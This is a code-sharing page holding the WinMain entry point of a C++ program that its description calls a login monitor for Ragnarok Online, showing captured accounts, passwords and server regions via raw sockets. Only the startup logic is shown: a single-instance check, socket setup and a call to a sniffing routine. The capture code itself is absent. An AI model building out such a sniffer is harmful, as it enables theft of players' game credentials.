gamespy.cpp
来自「网游《仙境传说》的登录监控程序。 可以显示帐户、密码、大区等。 使用了raw」· C++ 代码 · 共 45 行
CPP
45 行
// GameSpy.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#pragma data_seg(".share")
volatile int g_application_count = 0;
#pragma data_seg()
#pragma comment(linker, "/section:.share,rws")
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
if(g_application_count > 0)
{
//MessageBox(0, "a", "", 0);
return 1;
}
g_application_count ++;
if(InitSocket())
{
_beginthread(CheckGameQuit, 0, 0);
DoSniffing();
WSACleanup();
return 0;
}
else
{
return 2;
}
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?